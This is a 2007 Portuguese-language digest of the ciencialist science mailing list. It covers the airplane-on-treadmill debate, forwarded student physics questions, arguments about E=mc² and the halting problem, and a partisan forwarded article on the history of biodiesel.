> você, Renato, tenho de ler, de novo, outro exemplo sem sentido, onde
> seu engano é novamente repetido:
> JR - Não é não, Homero! No exemplo fica claro - para quem avalia - a
> relação
> entre o móvel-motocicleta e o chão-globo que se desloca sob elas. Em
> geral,
> o espetáculo é feito com a estrutura do globo fixa, sem movimento de
> rotação
> que eu inseri no exemplo para torná-lo semelhante ao do problema
> esteira-avião.
>
> Renato: "Vc já viu o espetáculo circense chamado de Globo da Morte,
> onde motociclistas se movimentam simultaneamente dentro de uma
> estrutura esférica? Pense uma estrutura dessas girando em seu eixo
> fixo ao chão, e um motociclista se deslocando na linha do "equador" na
> mesma velocidade angular, mas em sentido contrário. Ele consegue fazer
> isso? Qual é o referencial?"
>
> Quosque tandem abutere patienta nostra, Renato?..:-) Seu exemplo é um
> "exemplo" CLARO de seu erro, pois se baseia no "senso comum" a
> respeito de movimento! SE são motos movidas pela tração nas rodas, é
> uma coisa, se são motos MOVIDAS POR HÉLICES OU JATOS, é outra!!!
> JR - Não são, não, Homero! Até o avião se separar da pista, ele roda como
> um
> carro ou moto movidos a turbinas.
>
> Colocando de forma mais clara, motos que se movem por jatos de ar
> PODEM FAZER ISSO sem problemas, da mesma forma como um avião pode
> decolar da esteira! Mesmo com a estrutura girando em seu eixo fixo, as
> motos SE MOVEM E GIRAM SEM CAIR, já que as rodas não são responsáveis
> pela tração, mas apenas isolam as mesmas da estrutura!! Como no avião
> e esteira, motos com jatos apenas farão as rodas girarem mais rápido,
> se a estrutura girar ao contrário de seu deslocamento, que se esta
> estivesse parada!
> JR - Ficou muito confusa sua explicação... Mas se as rodas que estão em
> contato com a estrutura do globo giram mais rápido quando essa estrutura
> gira, significa que não está mais na mesma velocidade de antes quando o
> globo estava parado. Logo, não está atendendo o enunciado do problema...
>
> Se pelo menos parasse de teimar e pensasse um pouco no problema, sem
> deixar seu "ego" gigantesco engana-lo, dizendo que você tem uma
> resposta que NINGUÉM mais descobriu..:-)
> JR - Leia esse parágrafo acima para vc mesmo e veja se bate alguma luz...
>
> Pense, Renato, pense: se conseguir imaginar as motos ligando seus
> "jatos", o que acontece com a estrutura depois disso é IRRELEVANTE!
> JR - Não é não, Homero! No exemplo do globo da morte as motocicletas a
> jato
> sofrerão um retardo em seus movimentos em relação ao chão-solo, visto que
> a
> estrutura - onde elas estão apoiadas e se deslocando - roda em sentido
> contrário, subtraindo velocidade nesse sentido.
>
> Que canseira..:-) E, mais uma vez peço desculpas, mas, PQP!!!..:-)
> JR - Descanse e depois tente raciocinar sobre a questão.
>
> Homero
>
> []s
> José Renato
>
>
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> [As partes desta mensagem que não continham texto foram removidas]
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27419.assuan.hst.terra.com.br,9405,Des15,Des15>
&_l=1,1178824745.460054.27419.assuan.hst.terra.com.br,9405,Des15,Des15
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> Esta mensagem foi verificada pelo E-mail Protegido Terra.
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: CeticismoAberto.com atualizado 21.05.2007
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>, curtasca@yahoogroups.com
DATE: 21/05/2007 07:25

CeticismoAberto.com atualizado
21.05.2007<http://www.ceticismoaberto.com/news/?p=888> ::
Fotos de fantasmas [image: Há algo
aí!]<http://www.ceticismoaberto.com/fotos/fotofantasma56.htm>
Há algo aí! (Tucumán,
Argentina)<http://www.ceticismoaberto.com/fotos/fotofantasma56.htm>
[image:
Ônibus] <http://www.ceticismoaberto.com/fotos/fotofantasma57.htm> Ônibus
(Brasil) <http://www.ceticismoaberto.com/fotos/fotofantasma57.htm> [image:
Vela] <http://www.ceticismoaberto.com/fotos/fotofantasma58.htm> Vela
(Brasil) <http://www.ceticismoaberto.com/fotos/fotofantasma58.htm> [image:
Espectro] <http://www.ceticismoaberto.com/fotos/fotofantasma59.htm> Espectro
(Mafra, Lisboa,
Portugal)<http://www.ceticismoaberto.com/fotos/fotofantasma59.htm>
[image:
Cabelo] <http://www.ceticismoaberto.com/fotos/fotofantasma60.htm> Cabelo
(Brasil) <http://www.ceticismoaberto.com/fotos/fotofantasma60.htm> [image:
Criatura estranha na
marginal]<http://www.ceticismoaberto.com/fotos/fotofantasma61.htm>
Criatura estranha na marginal (São Paulo,
Brasil)<http://www.ceticismoaberto.com/fotos/fotofantasma61.htm>
[image:
Vareta luminosa]
<http://www.ceticismoaberto.com/fotos/fotofantasma62.htm> Vareta
luminosa (Brasil) <http://www.ceticismoaberto.com/fotos/fotofantasma62.htm>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fw: Balões de borracha.
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 21/05/2007 07:43

Helpinho!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: <davidpequente@uol.com.br>
Para: "leobarretos" <leobarretos@uol.com.br>
Enviada em: domingo, 20 de maio de 2007 22:56
Assunto: Balões de borracha.


Boa noite...
Eu me chamo David Cesar, eu estou querendo ajudar um amigo meu, ele me disse que quando morava no estado de São Paulo ele trabalhou com balões de borracha com formato de bicho,mas ele me disse que não era esses balões comuns, ele disse que os balões eram de borracha, ele disse que eram bem mais resistentes do que esses que agente é acostumado aqui em recife, ele se chama Moises, e me pediu para eu fazer uma pesquisa na net, só que na net existem varias e varias paginas sobre o assunto,foi quando entrei numa e vi seu e-mail e gostaria de saber se vc poderia me ajudar a ajuda-lo, ele quer saber se ainda existem esses balões de borracha com formato de bichos, se o sr puder me ajudar eu fico muito grato,desde já meus agradecimentos, e espero resposta a esse e-mail o mais rapido possivel, obrigado. David"



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SUBJECT: Fw: Assuntos de Física envolvendo Integrais.
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 21/05/2007 08:10

Aceito sugestões para esse seminário. Por que seminário? Não poderia ser um 'nário' inteiro?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Tesseu Brandão" <tesseucarvalho@hotmail.com>
Para: <leobarretos@uol.com.br>
Enviada em: sexta-feira, 18 de maio de 2007 10:47
Assunto: Assuntos de Física envolvendo Integrais.


| Olá Professor Barretos, meu nome é Tesseu, estou cursando o quarto período
| de matemática, e nosso professor de cálculo passou um trabalho, que na
| verdade é um seminário, tendo como seguinte tema: '' A aplicação da integral
| no dia-a-dia''. Eu quero apresentar este tema na física, e gostaria, se
| possivel, que o senho possa me passar por e-mail alguns conteúdos que
| ultilizem a integral, sendo de física, ficarei muito grato.
|
| Sds
| Tesseu Carvalho
|
| tesseucarvalho@hotmail.com
|
| _________________________________________________________________
| Chegou o Windows Live Spaces com rede social. Confira
| http://spaces.live.com/
|
|
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|
|


SUBJECT: Fw: Ajuda em um projeto
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 21/05/2007 08:11

Cadê meus assessores digitais?
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Héber Ferreira
Para: leobarretos@uol.com.br
Enviada em: sexta-feira, 18 de maio de 2007 10:43
Assunto: Ajuda em um projeto


Caro Prof. Luiz Ferraz Netto,

Estive visitando seu site www.feiradeciencias.com.br , pois estava prescisando de um apoio na criação de um projeto ... Estou fazendo o curso de Sistemas de Informação em Brasília ... e na matéria Lógica Matemática e Digital, nos foi passado um projeto, porém pra mim esta sendo muito complicado, ainda não tenho nem uma idéia por onde começar, então gostaria de saber se o senhor pudesse me dar algumas informações, se poderia me passar um e-mail teu para que eu possa te mandar o projeto para uma possível análise .... meu e-mail pessoal é heber_fab@hotmail.com - fico esperando uma possível retorno .

Muito obrigado.



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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fw: eletroima
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 21/05/2007 09:11

Quem quer fazer esses cálculos ... mesmo aproximado!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Thiago
Para: leobarretos@uol.com.br
Enviada em: quinta-feira, 17 de maio de 2007 12:52
Assunto: eletroima


Boa tarde Leo Barretos novamente venho enviar um email pois necessito de informações para confecção de um eletroima, preciso levantar 120 clipes de papel e com uma pilha de 1,5v pequena e nucleo de ferro, preciso fazer este eletroima até dia 25/05/07 e preciso do seu auxilio por favor se possivel favor me enviar um email estou no aguardo da sua resposta e desde já agradeço pela colaboração e atenção.

Atenciosamente.

Thiago Willian de Paula
Desenhista copista ( SMFO )
thiago.wilian.mwl@terra.com.br
(12) 3654-7400 ramal 423




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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Fw: eletroima
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/05/2007 09:49

Se alguém também se animar, e quiser calcular quais seriam os efeitos
de um disco voador que consiga se levantar sobre o solo repelindo o
campo magnético terrestre...

Correntes induzidas em objetos ferromagnéticos próximos, a repulsão da
água por ser diamagnética...

Daria uma ótima referência ou artigo. Há meio século contatados que
dizem ter falado com extraterrestres volta e meia "explicam" que as
naves alienígenas funcionariam gerando um campo magnético que
repeliria o terrestre.

[]s

Mori

On 5/21/07, Luiz Ferraz Netto <leobarretos@uol.com.br> wrote:
> Quem quer fazer esses cálculos ... mesmo aproximado!
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: Thiago
> Para: leobarretos@uol.com.br
> Enviada em: quinta-feira, 17 de maio de 2007 12:52
> Assunto: eletroima
>
> Boa tarde Leo Barretos novamente venho enviar um email pois necessito de informações para confecção de um eletroima, preciso levantar 120 clipes de papel e com uma pilha de 1,5v pequena e nucleo de ferro, preciso fazer este eletroima até dia 25/05/07 e preciso do seu auxilio por favor se possivel favor me enviar um email estou no aguardo da sua resposta e desde já agradeço pela colaboração e atenção.
>
> Atenciosamente.
>
> Thiago Willian de Paula


SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/05/2007 10:00

Ferrari,
larga mão de perturbar! Será que vc consegue colocar na cabeça que as partes (peças) já estão separadas entre si. Tente olhar a sua mesa de madeira com um microscópio, depois com um microscópio eletrônico --- será que percebe que não existe "mesa", é uma ilusão de nossa percepção. Sua mesa parece lisa porque seu poros são maiores que as reentrâncias e saliências da mesa --- não há mesa lisa; não há limites da mesa --- ninguém pode dizer exatamente o comprimento de sua mesa, pois é impossível saber onde ela começa e onde ela termina! Que raios de vazios e cheios vc insiste em encher o saco? Vá 'fazer sua ciência' nos raios que o partam (quando vc souber o que é um raio). Mas que saco!

aquele gentil abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 18 de maio de 2007 14:33
Assunto: Re: [ciencialist] Re: E=m.c2


Takata,

Vamos fazer um acordo, eu respondo o seu problema se
voce me responder porque não consegue separar o carro
sem colocar espaço vazio entre as partes, ok?


sinceramente
ferrari











--- rmtakata <roberto.takata@bol.com.br> escreveu:

> --- Em ciencialist@yahoogrupos.com.br, Ferrari
> <emailferrari@...>
> > --- O rei está nu!
>
> Nu e cru, tal como a verdade. Agora vamos ver o
> quanto *seu* rei está
> vestido, responda ao problema da mensagem abaixo:
>
>
http://br.groups.yahoo.com/group/ciencialist/message/63164
>
> []s,
>
> Roberto Takata
>
>


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SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/05/2007 10:26

Olá Takata!

E ai, doeu admitir?
Entrei no grupo pra ver e não ver no que é que dá e
não dá. Entre também.



sinceramente
ferrari







--- rmtakata <roberto.takata@bol.com.br> escreveu:

> --- Em ciencialist@yahoogrupos.com.br, Ferrari
> <emailferrari@...>
> > Todo jogo eh uma questao de dualidade.
>
> Sua teoria não é nem a *metade* desta outra - ou
> melhor, é exatamente
> a metade:
>
> http://br.groups.yahoo.com/group/tgbd/
>
> []s,
>
> Roberto Takata
>
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SUBJECT: Leo para Ferrari (e todos) ... antes O Raciocinio e o Prazer ... desconexos!
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/05/2007 10:35

Comecemos assim:

GIORDANO BRUNO buscou o prazer do calor, mas não encontrando uma lâmpada contentou-se com uma fogueira posta pelas religiões. Mas, seus pensamentos não ficaram às moscas, venceu ... e hoje seu legado denomina-se CIÊNCIA, cuja base chama-se FÍSICA, cuja instrumentação chama-se MATEMÁTICA e cuja estrutura de desenvolvimento chama-se MÉTODO CIENTÍFICO.

Eu gostaria de colocar um outro referencial teórico para o Ferrari pensar o problema. Gostaria que ele soubesse a diferenciação entre 'aprendizagem' e 'desenvolvimento'.

"Aprendizagem" é aquilo que você consegue fazer com ajuda, ou seja, você tem interesse em fazer, mas não consegue fazer sozinho. Já "desenvolvimento" é aquilo que você consegue fazer sozinho.

Sala de aula e lista de discussão são, como exemplos, locais de aprendizagem, não de desenvolvimento.
Essa é a parte mais cruel da educação. Juntos, 'aprendemos'. Mas 'desenvolvimento' é algo solitário. Você só sabe se houve desenvolvimento quando tenta fazer o que aprendeu sozinho e vê que dá conta. Sozinho.

Há alunos ferrarianos que não se interessam. Esses estão fora da zona de aprendizagem.

Há os alunos que estão na zona de aprendizagem, estão na zona próxima ao desenvolvimento, ou zona de desenvolvimento proximal. Hoje você faz com ajuda. Amanhã fará sozinho. Hoje é aprendizagem. Amanhã será desenvolvimento. O ensino só pode ocorrer na zona de desenvolvimento proximal.

Um aluno que pergunta, interessado, está na zona de desenvolvimento proximal. É tarefa do professor ensinar, também, a fazer perguntas; as perguntas devem fazer sentido --- daí o ABC da Ciência. Uma boa pergunta é, por vezes, mais produtiva que a resposta, desde que a pergunta seja entendida, assimilável, coerente, conexa, pertinente, madura.

Não seria desejável que Ferrari & Cia Bela entendesse isso? Por que o jovem não entra em nenhuma thread específica das quais a C-List tem milhares de exemplos? Por que o jovem não nos apresenta um ABC da Ciência com 60 itens em cadência de desenvolvimento? Já que tem a 'verdade' em mãos (ou alguém que lhe forneça as verdades) isso seria extremamente bem vindo!

aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 18 de maio de 2007 16:04
Assunto: [ciencialist] Re: O Raciocinio e o Prazer ::: (artigo)


--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Já reparou o comportamento de uma mosca em volta de
> uma lâmpada? Ela busca o prazer do calor e por isso
> bate contra a lâmpada.

De onde vc tirou q as moscas buscam calor na lâmpada?

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] P/ Takata - O problema da parada - (era P/ CHicão - [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/05/2007 10:41

"O paradoxo mencionado pelo Chicão seria o do tipo lógico, como a "força irresistível contra o obstáculo inamovível".

Não existe tal paradoxo. Num mundo onde existe 'força irresistível' não pode haver 'obstáculo irremovível'. Pela própria definição de 'força irresistível'. Veja I. Asimov!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Oraculo" <oraculo@atibaia.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 18 de maio de 2007 15:57
Assunto: [ciencialist] P/ Takata - O problema da parada - (era P/ CHicão - [RN] MOSCAS E LIVRE ARBÍTRIO


Olá Takata

Takata: "Misomenos. É possível se criar uma entrada q faça com q o computador
não consiga decidir pela parada."

Tem razão, mas mesmo nesse caso é uma variação do loop infinito, não? O paradoxo mencionado pelo Chicão seria o do tipo lógico, como a "força irresistível contra o obstáculo inamovível". Uma avaliação intelectual, não um obstáculo prático, pelo menos foi o que entendi.

E o loop infinito pode causar dano, paradas ou quebras mesmo em mentes humanas, não artificiais, como a pulsão compulssivo/obssessiva demonstra. Alguns pacientes entram em "loop" de lavar as mãos, fechar a janela, lavar as mãos, fechar as janelas, etc, até o limite da exaustão. Outros não podem ouvir uma música sem ter um "loop" na mente até atrapalhar o resto dos processos mentais, ou uma idéia que se repete indefinidamente.

Seria interessante discutir o problema da parada na lista, acho que o pessoal iria gostar bastante (embora isso vá deixar o Ferrari na ponta dos cascos de felcidade poética..:-).

Um abraço.

Homero




SUBJECT: Re: [ciencialist] O Raciocinio e o Prazer ::: (artigo)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/05/2007 10:47

Olá Alvaro!

Alvaro >>> Note que você está apenas argumentando que
um raciocínio que você mesmo julga sem sentido tem
algum sentido, o que implica em raciocínio circular e
contradições. Não chegaremos a lugar algum.

--- Pra chegar tem que experimentar. Se vc observar
seu próprio processo cognitivo chegará a percepção que
o texto aponta. O fenomeno do raciocinio e do prazer
que o texto aponta não estão no texto, estão em voce
mesmo, no seu processo cognitivo. Assim, pra chegar ao
que o texto aponta, vc precisa observar o que o texto
aponta no seu próprio processo de cognição. A falta de
sentido racional do prazer é um fato cognitivo, não é
uma teoria. E este fato vc não vai experimentar lendo
o texto, mas observando o fato por si mesmo. O texto é
a teoria que aponta pro fato, é a placa.


sinceramente
ferrari









>
> [ ]s
>
> Alvaro Augusto
>
>
> ----- Original Message -----
> From: "Ferrari" <emailferrari@yahoo.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Sunday, May 20, 2007 11:09 AM
> Subject: Re: [ciencialist] O Raciocinio e o Prazer
> ::: (artigo)
>
>
> > Olá Alvaro!
> >
> > Alvaro >>> Você pode achar divertido falar no
> "cheiro
> > dos números ímpares", talvez isso seja até
> poético,
> > mas não tem sentido algum.
> >
> >
> > --- Exatamente! Não faz sentido não, é mesmo? Isto
> é
> > óbvio, não é? É exatamente sobre isto que o texto
> está
> > tratando, deste óbvio. Da mesma forma que o
> "cheiro
> > dos números ímpares" não faz sentido pra vc,
> também
> > não faz pra mim, nem pra nenhum ser humano. Ou
> seja, é
> > um fato óbvio dentro do processo cognitivo humano.
> > Cheiro é cheiro. Conhecemos o que é cheiro, mas
> não é
> > um conhecimento assim como o raciocinio "1+1=2",
> pois
> > este conhecimento não tem cheiro, nem sabor, nem
> > qualquer sentido de satisfação (prazer). É sobre
> isto
> > que o texto está tratando. Sobre a diferença entre
> > estes dois processos mentais, racioconio e prazer,
> e
> > sobre como um pode ajudar o outro, ao invés de um
> > atrapalhar o outro.
> >
> > link pro texto: http://egogame.blogspot.com
> >
> >
> > sinceramente
> > ferrari
> >
>
>


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SUBJECT: Re: [ciencialist] Re: A verdadeira foto do Takata
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/05/2007 10:51

Por que seu pensamento é superior?Simplesmente porque representa a mentalidade da sociedade vigente?Quem pode julgar isso?
Não respondi em nenhum momento sobre ser superior ou não, pois que nem considero isso como relevante e tampouco lhe respondi com uma escolha, apenas lhe disse que o fato do ser humano ser da minha espécie não me obrigava optar por ele.
Lhe fiz uma ironia sbre sua própria aparência e venho pedir desculpas por isso, por invadir sua privacidade pois que fui mal compreendida, eu sei bem o que significa etologia e psicologia e sobre etologia e a diferença para Behavorismo, que parece que vc aí confundiu.
Porém, tenho que novamente pedir excusas a lista pois que apenas um diploma universitário nos permite discutir assuntos referentes ao "diploma" que temos...
Me interessam os estudos do John Webster da Bristol University sobre o comportamento das vacas dentro da manada, suas relações de amizade e suas expressões emocionais.
Porém, eu me furto a responder sua pergunta porque não estou aqui para impor meu pensamento para a lista, assim como não vou discutir na lista o certo e o errado.
Honestamente, e respeitosamente falando, querido Takata, vc parece querer impor apenas para "ganhar a discussão"...isso não é algo que me interessa.
Sorry,

Atenciosamente,

Bruna Carolina

(Se desejar responder por ser relevante o que tenhas a falar para mim, responda em privado pois que estou saindo da lista.)






Bruna Carolina Ribas Silva
Rio Grande/RS

"A maior tradição do ser humano é evoluir"

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/05/2007 10:53

Luiz >>> será que percebe que não existe "mesa", é uma
> ilusão de nossa percepção. Sua mesa parece lisa
> porque seu poros são maiores que as reentrâncias e
> saliências da mesa --- não há mesa lisa; não há
> limites da mesa --- ninguém pode dizer exatamente o
> comprimento de sua mesa, pois é impossível saber
> onde ela começa e onde ela termina!

--- Olha só! Mas um que admite!

Luiz >>> Que raios de vazios e cheios vc insiste em
encher o saco?

--- Pense um pouco ai e observe o que acontece
enquanto estiver fazendo isto, nem vou precisar te
explicar.




sinceramente
ferrari



sinceramente
ferrari







--- Luiz Ferraz Netto <leobarretos@uol.com.br>
escreveu:

> Ferrari,
> larga mão de perturbar! Será que vc consegue colocar
> na cabeça que as partes (peças) já estão separadas
> entre si. Tente olhar a sua mesa de madeira com um
> microscópio, depois com um microscópio eletrônico
> --- será que percebe que não existe "mesa", é uma
> ilusão de nossa percepção. Sua mesa parece lisa
> porque seu poros são maiores que as reentrâncias e
> saliências da mesa --- não há mesa lisa; não há
> limites da mesa --- ninguém pode dizer exatamente o
> comprimento de sua mesa, pois é impossível saber
> onde ela começa e onde ela termina! Que raios de
> vazios e cheios vc insiste em encher o saco? Vá
> 'fazer sua ciência' nos raios que o partam (quando
> vc souber o que é um raio). Mas que saco!
>
> aquele gentil abraço,
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Ferrari" <emailferrari@yahoo.com.br>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: sexta-feira, 18 de maio de 2007 14:33
> Assunto: Re: [ciencialist] Re: E=m.c2
>
>
> Takata,
>
> Vamos fazer um acordo, eu respondo o seu problema se
> voce me responder porque não consegue separar o
> carro
> sem colocar espaço vazio entre as partes, ok?
>
>
> sinceramente
> ferrari
>
>
>
>
>
>
>
>
>
>
>
> --- rmtakata <roberto.takata@bol.com.br> escreveu:
>
> > --- Em ciencialist@yahoogrupos.com.br, Ferrari
> > <emailferrari@...>
> > > --- O rei está nu!
> >
> > Nu e cru, tal como a verdade. Agora vamos ver o
> > quanto *seu* rei está
> > vestido, responda ao problema da mensagem abaixo:
> >
> >
>
http://br.groups.yahoo.com/group/ciencialist/message/63164
> >
> > []s,
> >
> > Roberto Takata
> >
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SUBJECT: Re: [ciencialist] Ops!/Re: Minha foto
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/05/2007 10:57

Já cheguei lá. Um belo sofá branco!
:-)

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Manuel Bulcão" <manuelbulcao@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sábado, 19 de maio de 2007 13:52
Assunto: [ciencialist] Ops!/Re: Minha foto


Ops,

Ao clicar no link, depara-se com a veeeelha foto em que eu domino uma
temerária anaconda

A foto que quero mostrar é a quinta foto do meu álbum. Clique no link
e depois no "próxima", "próxima", "próxima" e "próxima".

Abraços,
Manuel Bulcão

http://br.ph.groups.yahoo.com/group/ciencialist/photos/view/bb01?
b=5&m=s&o=0
--- Em ciencialist@yahoogrupos.com.br, Manuel Bulcão
<manuelbulcao@...> escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, ivanildo ximenes
> <icximenes@> escreveu
>
> > Certas brincadeiras termina em desrespeito aos outros. Quem
associa
> deficiente a beleza não possui censo critico. Aconselho aos
senhores
> que acabem com esta brincadeira de péssimo gosto.
>
> Manuel: Ô Ivanildo, não seja tão politicamente correto, rapaz.
>
> A minha desconfiança de que o Takata é um supercomputador quântico
> não é a toa. Surgiu do seguinte fato. Certa vez, eu passei uma
> madrugada inteira escrevendo uma resposta a uma mensagem do Takata,
> das duas horas da matina as sete e meia da manhã (fiz tantas
> pesquisas que a minha biblioteca, que tem mais de mil livros, ficou
> uma bagunça). Postei-a na lista, fui à cozinha tomar uma abacatada
e
> comer dois ovos estrelados. Quando acessei novamente a Ciencialist -

> cerca de meia hora depois -, o Takata já tinha apresentado a
> tréplica: uma mensagem enorme, maior e com mais informações que a
> minha e com uma estrutura lógica indefectível. Logo pensei: "Pôrra,
> isso não é humano!". :-)
>
> Agora, apresento a vocês uma foto minha com meus dois filho (link
> abaixo). Eu e o Russell Crowe temos a mesma idade (43 anos), mas
ele
> não tem a "cara de macho" que é o meu maior charme. A bicuda do
lado
> esquerdo da foto é a Lígia, minha filha aborrecente de 13 anos. O
> moleque sentado à minha direita, com um sorriso "superespontâneo",
é
> o Ulisses (onze aninhos). Ulisses é portador de síndrome de kanner.
É
> uma criança linda - apesar de não querer cortar cabelo -, lê tudo,
> escreve, faz cálculos matemáticos, opera muito bem n computador e
até
> navega pela internet. No entanto, quase não fala. É, a mente humana
é
> um mistério.
>
> http://br.ph.groups.yahoo.com/group/ciencialist/photos/view/bb01?
> b=5&m=s&o=0

http://br.ph.groups.yahoo.com/group/ciencialist/photos/view/bb01?
b=5&m=s&o=0
>
> Abraços,
> Manuel Bulcão
> PS.: desculpem-me o off-topic, mas é porque os conheço a tanto
tempo
> que às vezes me dá vontade de travar uma conversa mais informal, um
> papo entre amigos em que cabe até piadas pesadas.
>




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SUBJECT: Re: A História do Biodiesel
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <Conversa_de_Botequim@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, <brasil-politica@grupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 21/05/2007 10:59



A História do Biodiesel









Os novos irmãos Wright
Há exatos 40 anos, o cientista cearense Expedito Parente criou o biodiesel, um óleo combustível derivado de plantas oleaginosas capaz de substituir, com vantagens, o diesel derivado de petróleo usado pelas indústrias pesadas, caminhões, usinas geradoras e outros equipamentos. Surgia a descoberta que poderia revolucionar o mundo no que tange à produção de combustíveis de fonte renováveis.

A coisa era tão séria que o então ministro da Aeronáutica, Délio Jardim de Matos, entusiasmado, mandou que as pesquisas de Expedito continuassem no Centro Tecnológico da Aeronáutica, em São José dos Campos.

Era a ditadura militar e nada foi revelado sobre o trabalho, considerado assunto reservado de segurança nacional.

Pois bem. Logo o biodiesel provou ser o combustível do futuro, nascido do país que tem melhores condições em todo o mundo para produzí-lo: a nossa Pindorama. Entre 1980 e 1984, foram produzidos mais de 300 mil litros do óleo, utilizados em testes.

Paralelamente, Expedito criou o bioquerosene, também originário de oleaginosas, substituto do querosene de aviação.

E no dia 24 de outubro de 1984, o ?dia do aviador?, um ?Bandeirante? da FAB decolou de São José dos Campos usando o bioqueronse como combustível.

O teste foi um sucesso. E tem mais: em 1980, em Fortaleza, o vice-presidente da República, Aureliano Chaves, e o governador Virgilio Távora, este um dos grandes incentivadores das pesquisas do professor cearense, inauguraram ali na BR-116, a primeira usina produtora de biodiesel, montada pelo Expedito e seu fiel auxiliar Alfredo Rafael Campi, o Lelo.

Ninguém nos contou. Nós estávamos lá. Em 2001, Expedito Parente criou a TECNOBIO, uma empresa que fabrica equipamentos para a produção de biodiesel. De lá para cá, centenas dessas unidades foram montadas no País, produzindo combustível para prefeituras, indústrias, universidades etc.

Contar essa pequena história do biodiesel é fazer justiça ao seu verdadeiro criador, que não teve a sorte de ser um professor de Harvard. Se fosse, talvez, já tivesse até abocanhado um prêmio Nobel.

Mas o assunto vem à tona apenas para alertar os incautos para essa propaganda eleitoreira enganosa do governo do PT, que agora gasta o dinheiro do contribuinte para mentir aos brasileiros, dizendo que o biodiesel é obra de Lula, assim como tudo de bom que se fez nesse País desde 1500.

O que o presidente chama de ?biudiziú? nada mais é do que o biodiesel do Expedito Parente. Logo quando se comemoram os 100 anos do vôo de Santos Dumont, Lula e seus companheiros se aparecem como os irmãos Wright do biodiesel.

Observações: na década de 80 o Sr. INGO JOSÉ MÜLLER , um dos mentores da CEVAL, atuou ao lado do cientista Expedito Parente no projeto Biodiesel e Bioquerosene, que só não tiveram maior repercussão em função dos custos, à época, incompatíveis com os combustíveis derivados do petrótelo.

No ano de 1983 a empresa Auto Viação Catarinense, de Blumenau , experimentalmente usando biodiesel, o que foi verdadeiro sucesso. Também o então governador de Santa Catarina , dirigiu um trator do DER/SC movido a biodiesel, tudo registrado pelas páginas do Jornal d Santa Catarina .

